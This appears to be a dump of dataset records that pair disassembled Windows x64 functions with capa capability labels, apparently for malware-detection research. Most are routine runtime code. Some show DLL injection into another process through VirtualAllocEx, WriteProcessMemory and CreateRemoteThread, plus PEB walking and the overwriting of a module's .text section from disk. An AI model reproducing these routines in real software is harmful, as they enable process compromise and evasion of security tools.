joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800d8bdc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1800b60e0
sub rsp, rax
mov rax, qword [0x180153c80]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1800cb144
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800d8c2b
mov rax, rbp
jmp 0x1800d8d33
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x16aa10]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800d9304
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x16aa10]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800d8d2f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800d8d2f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800d9304
test rax, rax
js 0x1800d8d2f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800d8d2f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800d8d21
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800d8d21
cmp byte [rcx], 0xd
jne 0x1800d8d07
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800d8d16
cmp byte [rcx + 1], 0xa
jne 0x1800d8d16
inc rcx
jmp 0x1800d8d16
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1540b0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800d8ce9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800d8d33
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1800b5f90
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800d8f54
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800d8f6a
mov al, 1
jmp 0x1800d8fca
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800d8f7b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800d8fc8
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800cbe08
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800d8fc8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800d8fc8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800d8fc8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800d8fca
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1800dd46c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800dd49c
xor eax, eax
jmp 0x1800dd55f
mov rbp, rbx
cmp word [rax], si
je 0x1800dd4c1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800dd4a8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800dd4a4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800dab74
movsxd r14, eax
test eax, eax
jne 0x1800dd4ff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800dd495
mov rcx, r14
call fcn.1800d1cf8
mov rdi, rax
test rax, rax
jne 0x1800dd518
xor ecx, ecx
call fcn.1800d1cbc
jmp 0x1800dd4f4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800dab74
test eax, eax
jne 0x1800dd549
mov rcx, rdi
call fcn.1800d1cbc
jmp 0x1800dd553
xor ecx, ecx
call fcn.1800d1cbc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800dd57c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1800dd603
mov rsi, rbx
cmp word [rax], bp
je 0x1800dd5c2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1800dd5ac
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1800dd5a8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1800d1cf8
mov rdi, rax
test rax, rax
je 0x1800dd5f0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1800e5580
mov rbp, rdi
xor ecx, ecx
call fcn.1800d1cbc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800e0274
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1800cffac
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1800e0315
cmp ebx, dword [rsp + 0x30]
je 0x1800e030e
test esi, esi
je 0x1800e030e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1800e02e9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1800e02f6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1800e02d3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1800e02fa
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1800e0317
mov eax, 1
jmp 0x1800e0317
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800e31f0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x180153c80]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1800e323a
call fcn.1800c03f4
mov dword [rax], 0xf
call fcn.1800c0414
mov dword [rax], 0xd
call fcn.1800bbe54
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800b5f90
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1800e3245
lea eax, [rbx + 1]
jmp 0x1800e3227
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1800e3225
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1800e3227
Function at 0x1800e47d0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800d930c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800d930c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800e4920
cmp rax, 0xffffffffffffffff
je 0x1800e4920
xor edi, edi
test rbp, rbp
jle 0x1800e48cb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800d1c44
mov rbx, rax
test rax, rax
jne 0x1800e4858
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800e48c1
mov edx, 0x8000
mov ecx, r14d
call fcn.1800e4654
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800d6600
cmp eax, 0xffffffff
je 0x1800e48a1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800e4868
mov edx, r15d
mov ecx, r14d
call fcn.1800e4654
jmp 0x1800e48c1
cmp byte [rsi + 0x38], dil
je 0x1800e48b8
cmp dword [rsi + 0x34], 5
jne 0x1800e48b8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800e48c1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800d1cbc
jmp 0x1800e4934
jns 0x1800e4934
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800d930c
cmp rax, 0xffffffffffffffff
jne 0x1800e48ec
cmp byte [rsi + 0x30], dil
je 0x1800e4934
mov edi, dword [rsi + 0x2c]
jmp 0x1800e4934
mov ecx, r14d
call fcn.1800cbe08
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800e4934
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800e4934
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800e492d
mov eax, dword [rsi + 0x2c]
jmp 0x1800e4932
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800d930c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1800e4e60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800e4e88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800e4e88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001550
Capabilities:
Access peb ldr_data
Hash data using djb2

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rax, qword gs:[0x60]
mov rdi, rcx
mov rdx, qword [rax + 0x18]
mov rsi, qword [rdx + 0x20]
test rsi, rsi
je 0x140001680
xor r12d, r12d
nop dword [rax + rax]
cmp word [rsi + 0x48], r12w
je 0x140001680
mov r14, qword [rsi + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rdi
movsxd rbp, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
cmp ebp, 0x104
jge 0x140001674
cmp r15d, 0x104
jge 0x140001674
mov rbx, r12
test rbp, rbp
jle 0x14000160b
nop dword [rax + rax]
movzx ecx, word [r14 + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rbx*2 + 0x230], ax
inc rbx
cmp rbx, rbp
jl 0x1400015f0
add rbx, rbx
cmp rbx, 0x208
jae 0x1400016f6
mov word [rsp + rbx + 0x230], r12w
mov rbx, r12
test r15d, r15d
jle 0x140001647
nop dword [rax]
movzx ecx, word [rdi + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rsp + rbx*2 + 0x20], ax
inc rbx
cmp rbx, r15
jl 0x140001630
add rbx, rbx
cmp rbx, 0x208
jae 0x1400016f6
lea rdx, [rsp + 0x20]
mov word [rsp + rbx + 0x20], r12w
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400016ae
mov rsi, qword [rsi]
test rsi, rsi
jne 0x1400015a0
xor eax, eax
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140001b40
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
movzx eax, word [rdi]
mov edx, 0x1505
test ax, ax
je 0x1400016d4
nop dword [rax + rax]
imul edx, edx, 0x21
lea rdi, [rdi + 2]
movzx ecx, ax
movzx eax, word [rdi]
add edx, ecx
test ax, ax
jne 0x1400016c0
lea rcx, str._lu_n
call fcn.140001070
mov rdx, qword [rsi + 0x50]
lea rcx, str.___Found_Dll___s___n
call fcn.140001010
mov rax, qword [rsi + 0x20]
jmp 0x140001682
call fcn.140001c68
int3
Function at 0x140001700
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
mov rcx, rbx
mov rdi, rax
xor eax, eax
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x48], xmm0
call fcn.140001550
mov r9d, 0x18
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x48]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov edx, 0x80000000
mov rcx, rsi
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r12, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea edx, [rbx + 4]
xor r8d, r8d
mov r13, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r14, rax
cmp bx, word [rsi + 6]
jae 0x140001888
lea r8, str..text
xor r15d, r15d
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r15
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001876
cmp rax, 6
jne 0x140001810
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, rbp
mov dword [rsp + 0x60], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x1400017f0
mov r15, qword [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001b40
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002534
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000257e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000257e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000257e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000257e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000257e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002580
xor al, al
add rsp, 0x28
ret
Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140012fb0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001120d
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400117f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x1400230a3]
call fcn.14001138e
nop
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111a9
mov qword [rbp + 0x268], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.14001123a
nop
lea rcx, [rbp + 0x3c]
call qword [sym.imp.USER32.dll_CharLowerW]
nop
lea rdx, [rbp + 0x3c]
mov rcx, qword [rbp + 0x440]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x1400118b3
lea rcx, str.Bulundu_
call fcn.14001119f
nop
mov r8d, dword [rbp + 0x18]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
jmp 0x1400118c7
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140011348
test eax, eax
jne 0x140011865
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret

Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014300
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014320
xor al, al
jmp 0x1400143a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014333
xor al, al
jmp 0x1400143a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001435d
xor al, al
jmp 0x1400143a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014371
xor al, al
jmp 0x1400143a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014383
xor al, al
jmp 0x1400143a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001439f
xor al, al
jmp 0x1400143a1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113f7
Capabilities:
Allocate or change rwx memory
Create thread
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140015e40
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400230a3]
call fcn.14001138e
nop
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov qword [rbp + 8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140015ee5
lea rcx, str.VirtualAllocEx_ba_ar_s_z_oldu._n
call fcn.14001119f
nop
xor eax, eax
jmp 0x140016042
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140015f3d
lea rcx, str.WriteProcessMemory_ba_ar_s_z_oldu._n
call fcn.14001119f
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
xor eax, eax
jmp 0x140016042
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140015f94
lea rcx, str.GetProcAddress_ba_ar_s_z_oldu._n
call fcn.14001119f
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
xor eax, eax
jmp 0x140016042
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140016001
lea rcx, str.CreateRemoteThread_ba_ar_s_z_oldu._n
call fcn.14001119f
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
xor eax, eax
jmp 0x140016042
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001b950]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400121f0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113b6
movzx eax, al
test eax, eax
jne 0x140012210
mov ecx, 7
call fcn.14001132f
nop
mov byte [rsp + 0x20], 0
call fcn.140011343
mov byte [rsp + 0x21], al
cmp dword [0x14001d868], 1
jne 0x140012234
mov ecx, 7
call fcn.14001132f
nop
jmp 0x14001228c
cmp dword [0x14001d868], 0
jne 0x140012287
mov dword [0x14001d868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111a4
test eax, eax
je 0x140012268
mov eax, 0xff
jmp 0x140012391
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011339
mov dword [0x14001d868], 2
jmp 0x14001228c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001131b
call fcn.1400112b7
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400122e9
mov rcx, qword [rsp + 0x30]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x1400122e9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140024020]
nop
call fcn.1400112e9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001231d
mov rcx, qword [rsp + 0x38]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x14001231d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011375
nop
call fcn.140012440
mov dword [rsp + 0x28], eax
call fcn.140011294
movzx eax, al
test eax, eax
jne 0x14001233c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001234b
call fcn.14001137f
nop
xor edx, edx
mov cl, 1
call fcn.14001114a
mov eax, dword [rsp + 0x28]
jmp 0x140012391
add rsp, 0x68
ret